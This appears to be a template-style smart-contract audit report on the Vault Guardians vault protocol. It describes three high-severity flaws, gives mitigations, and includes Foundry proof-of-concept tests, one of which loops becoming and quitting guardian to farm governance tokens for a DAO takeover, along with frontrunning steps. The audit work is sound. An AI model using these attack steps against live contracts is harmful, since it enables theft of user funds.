Protocol Audit Report

Version 1.0

Cyfrin.io

October 22, 2023

Protocol Audit Report

Cyfrin.io

March 7, 2023

Prepared by: Cyfrin Lead Auditors: - xxxxxxx

Table of Contents

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
XXXX
```

Scope

```
./src/
#-- abstract
|   #-- AStaticTokenData.sol
|   #-- AStaticUSDCData.sol
|   #-- AStaticWethData.sol
#-- dao
|   #-- VaultGuardianGovernor.sol
|   #-- VaultGuardianToken.sol
```

```
#-- interfaces
|   #-- IVaultData.sol
|   #-- IVaultGuardians.sol
|   #-- IVaultShares.sol
|   #-- InvestableUniverseAdapter.sol
#-- protocol
|   #-- VaultGuardians.sol
|   #-- VaultGuardiansBase.sol
|   #-- VaultShares.sol
|   #-- investableUniverseAdapters
|       #-- AaveAdapter.sol
|       #-- UniswapAdapter.sol
#-- vendor
    #-- DataTypes.sol
    #-- IPool.sol
    #-- IUniswapV2Factory.sol
    #-- IUniswapV2Router01.sol
```

Protocol Summary

This protocol allows users to deposit certain ERC20s into an ERC4626 vault managed by a human being, or a `vaultGuardian`. The goal of a `vaultGuardian` is to manage the vault in a way that maximizes the value of the vault for the users who have despoited money into the vault.

Roles

There are 4 main roles associated with the system.

- *Vault Guardian DAO*: The org that takes a cut of all profits, controled by the `VaultGuardianToken`. The DAO that controls a few variables of the protocol, including:
  - `s_guardianStakePrice`
  - `s_guardianAndDaoCut`
  - And takes a cut of the ERC20s made from the protocol
- *DAO Participants*: Holders of the `VaultGuardianToken` who vote and take profits on the protocol
- *Vault Guardians*: Strategists/hedge fund managers who have the ability to move assets in and out of the investible universe. They take a cut of revenue from the protocol.
- *Investors*: The users of the protocol. They deposit assets to gain yeild from the investments of the Vault Guardians.

Executive Summary

The Vault Guardians project takes novel approaches to work ERC-4626 into a hedge fund of sorts, but makes some large mistakes on tracking balances and profits.

Issues Found

Severity	Number of issues found
High	3
Medium	0
Low	0
Info	0
Gas	0
Total	3

High

[H-1] Lack of UniswapV2 slippage protection in `UniswapAdapter::_uniswapInvest` enables frontrunners to steal profits

Description: In `UniswapAdapter::_uniswapInvest` the protocol swaps half of an ERC20 token so that they can invest in both sides of a Uniswap pool. The `UnisapV2Router01` contract that calls `swapExactTokensForTokens`, and it has two input variables to note:

```
1      function swapExactTokensForTokens(
2              uint256 amountIn,
3  @>          uint256 amountOutMin,
4              address[] calldata path,
5              address to,
6  @>          uint256 deadline
7          )
```

It takes a `amountOutMin`, which represents how much of the minimum number of tokens it expects to return. It also takes `deadline`, which represents when the transaction should expire.

The `UniswapAdapter::_uniswapInvest` sets those variables to `0` and `block.timestamp`:

```
1       uint256[] memory amounts = i_uniswapRouter.swapExactTokensForTokens
            (
2           amountOfTokenToSwap,
3   @>      0,
4           s_pathArray,
5           address(this),
6   @>      block.timestamp
7       );
```

Impact: This results in either of the following happening: - A node sees this transaction in the mempool, pulls a flashloan and swaps on Uniswap to tank the price, resulting in the protocol executing a bad swap - Due to the lack of a deadline, the node who gets this transaction could hold the transaction till they are able to profit from the gaurenteed swap

Proof of Concept:

1. User calls `VaultShares::deposit` with a vault that has a Uniswap allocation.
    1. This calls `_uniswapInvest` for a user to invest into Uniswap, and calls `swapExactTokensForTokens`.
2. In the mempool, a malicious user could:
    1. Hold onto this transaction which makes the Uniswap swap
    2. Take a flashloan out
    3. Make a major swap on Uniswap, greatly changing the price of the assets
    4. Execute the transaction that was being held, giving the protocol as little funds back as possible due to the `0` `amountOutMin` value

This could potentially allow malicious MEV users and frontrunners to drain balances.

Recommended Mitigation:

For the deadline issue, we recommend the following:

DeFi is a large landscape, for protocols that have sensitive investing parameters, add a custom parameter to the `deposit` function so the Vault Guardians protocol can account for the customizations of DeFi protocols.

In the deposit function, consider allowing for custom data.

```
1 - function deposit(uint256 assets, address receiver) public override(
      ERC4626, IERC4626) isActive returns (uint256) {
2 + function deposit(uint256 assets, address receiver, bytes customData)
      public override(ERC4626, IERC4626) isActive returns (uint256) {
```

This way, you could add a `deadline` to the Uniswap swap, and also allow for more DeFi custom integrations.

For the `amountOutMin` issue, we recommend the one of the following:

1. Do a price check on something like a Chainlink price feed before making the swap
2. Only deposit 1 side of a Uniswap pool for liquidity. Don't make the swap at all. If a pool doesn't exist or has too low liquidity for a pair of ERC20s, don't allow investment in that pool.

This recommendation requires a significant change to the codebase.

[H-2] `ERC4626::totalAssets` checks the balance of vault's underlying asset even when the asset is invested, resulting in incorrect values being returned

Description: `ERC4626::totalAssets` checks the `balanceOf` the underlying asset for the vault.

```
1 function totalAssets() public view virtual returns (uint256) {
2         return _asset.balanceOf(address(this));
3     }
```

However, the assets are invested in the investible universe, ie Aave and Uniswap, which means this will never return the correct value.

Impact: This breaks many functions of the `ERC4626` contract: - `totalAssets` - `convertToShares` - `convertToAssets` - `previewWithdraw` - `withdraw` - `deposit`

All calculations depend on the number of assets in the protocol, severly disrupting the protocol functionality.

Proof of Concept:

Code

Add the following code to the `VaultSharesTest.t.sol` file.

```
1  function testWrongBalance() public {
2          // Mint 100 ETH
3          weth.mint(mintAmount, guardian);
4          vm.startPrank(guardian);
5          weth.approve(address(vaultGuardians), mintAmount);
6          address wethVault = vaultGuardians.becomeGuardian(
               allocationData);
7          wethVaultShares = VaultShares(wethVault);
8          vm.stopPrank();
9
10         // prints 3.75 ETH
11         console.log(wethVaultShares.totalAssets());
12
13         // Mint another 100 ETH
```

```
14          weth.mint(mintAmount, user);
15          vm.startPrank(user);
16          weth.approve(address(wethVaultShares), mintAmount);
17          wethVaultShares.deposit(mintAmount, user);
18          vm.stopPrank();
19
20          // prints 41.25 ETH
21          console.log(wethVaultShares.totalAssets());
22      }
```

Recommended Mitigation: Do not use the Openzeppelin implementation of ERC4626 and instead natively keep track of users total amounts sentto each protocol. Potentially have an automation tool or incentive to keep track of profits and losses, and take snapshots of the investible universe.

This would take a considerable re-write of the protocol.

[H-3] Guardians can infinitely mint `VaultGuardianTokens` and take over DAO, stealing DAO fees and maliciously setting parameters

Description: Becoming a guardian comes with the perk of getting minted VaultGuardianTokens. Whenever a guardian successfully calls VaultGuardiansBase::becomeGuardian or VaultGuardiansBase::becomeTokenGuardian they call _becomeTokenGuardian which mints them i_vgToken.

```
1       function _becomeTokenGuardian(IERC20 token, VaultShares tokenVault)
            private returns (address) {
2           s_guardians[msg.sender][token] = IVaultShares(address(
                tokenVault));
3   @>      i_vgToken.mint(msg.sender, s_guardianStakePrice);
4           emit GuardianAdded(msg.sender, token);
5           token.safeTransferFrom(msg.sender, address(this),
                s_guardianStakePrice);
6           token.approve(address(tokenVault), s_guardianStakePrice);
7           tokenVault.deposit(s_guardianStakePrice, msg.sender);
8           return address(tokenVault);
9       }
```

A user is also free to quit being a guardian at any time. The combination of minting vgTokens, and freely being able to quit results in users being able to farm vgTokens at any time.

Impact: Assuming the token has no monetary value, the malicious guardian could overtake the DAO and call and pass any of the functions:

```
1     "sweepErc20s(address)": "942d0ff9",
2     "transferOwnership(address)": "f2fde38b",
3     "updateGuardianAndDaoCut(uint256)": "9e8f72a4",
4     "updateGuardianStakePrice(uint256)": "d16fe105",
```

Proof of Concept:

1. User becomes WETH guardian, is minted VaultGuardianToken
2. User quits, is given back original WETH allocation
3. User becomes WETH guardian with the same initial allocation
4. Repeat, gets infinitely minted WETH

Code

Place the following code into `VaultGuardiansBaseTest.t.sol`

```
    bytes[] functionCalls;
    address[] addressesToCall;
    uint256[] values;

    function testDaoTakeover() public hasGuardian hasTokenGuardian {
        address maliciousGuardian = makeAddr("maliciousGuardian");
        uint256 startingVoterUsdcBalance = usdc.balanceOf(
            maliciousGuardian);
        uint256 startingVoterWethBalance = weth.balanceOf(
            maliciousGuardian);
        assertEq(startingVoterUsdcBalance, 0);
        assertEq(startingVoterWethBalance, 0);

        // 0. Flash loan the tokens, or just buy a bunch for 1 block
        VaultGuardianGovernor governor = VaultGuardianGovernor(payable(
            vaultGuardians.owner()));
        VaultGuardianToken vgToken = VaultGuardianToken(address(
            governor.token()));

        // Malicious Guardian farms tokens
        weth.mint(mintAmount, maliciousGuardian); // The same amount as
             the other guardians
        uint256 startingMaliciousVGTokenBalance = vgToken.balanceOf(
            maliciousGuardian);
        uint256 startingRegularVGTokenBalance = vgToken.balanceOf(
            guardian);
        console.log("Malicious VGToken Balance:",
            startingMaliciousVGTokenBalance);
        console.log("Regular VGToken Balance:",
            startingRegularVGTokenBalance);

        vm.startPrank(maliciousGuardian);
        for (uint256 i; i < 10; i++) {
            weth.approve(address(vaultGuardians), weth.balanceOf(
                maliciousGuardian));
            address maliciousWethSharesVault = vaultGuardians.
                becomeGuardian(allocationData);
            IERC20(maliciousWethSharesVault).approve(
                address(vaultGuardians), IERC20(
```

```
                        maliciousWethSharesVault).balanceOf(
                        maliciousGuardian)
29              );
30              vaultGuardians.quitGuardian();
31          }
32          vm.stopPrank();
33
34          uint256 endingMaliciousVGTokenBalance = vgToken.balanceOf(
                maliciousGuardian);
35          uint256 endingRegularVGTokenBalance = vgToken.balanceOf(
                guardian);
36          console.log("Malicious VGToken Balance:",
                endingMaliciousVGTokenBalance);
37          console.log("Regular VGToken Balance:",
                endingRegularVGTokenBalance);
38      }
```

Recommended Mitigation: There are a few options to fix this issue:

1. Mint `VaultGuardianToken`s on a vesting schedule after a user becomes a guardian
2. Burn `VaultGuardianToken`s when a user quits

Or, simply do not allocate `VaultGuardianToken`s to guardians, and instead mint the total supply on contract deployment.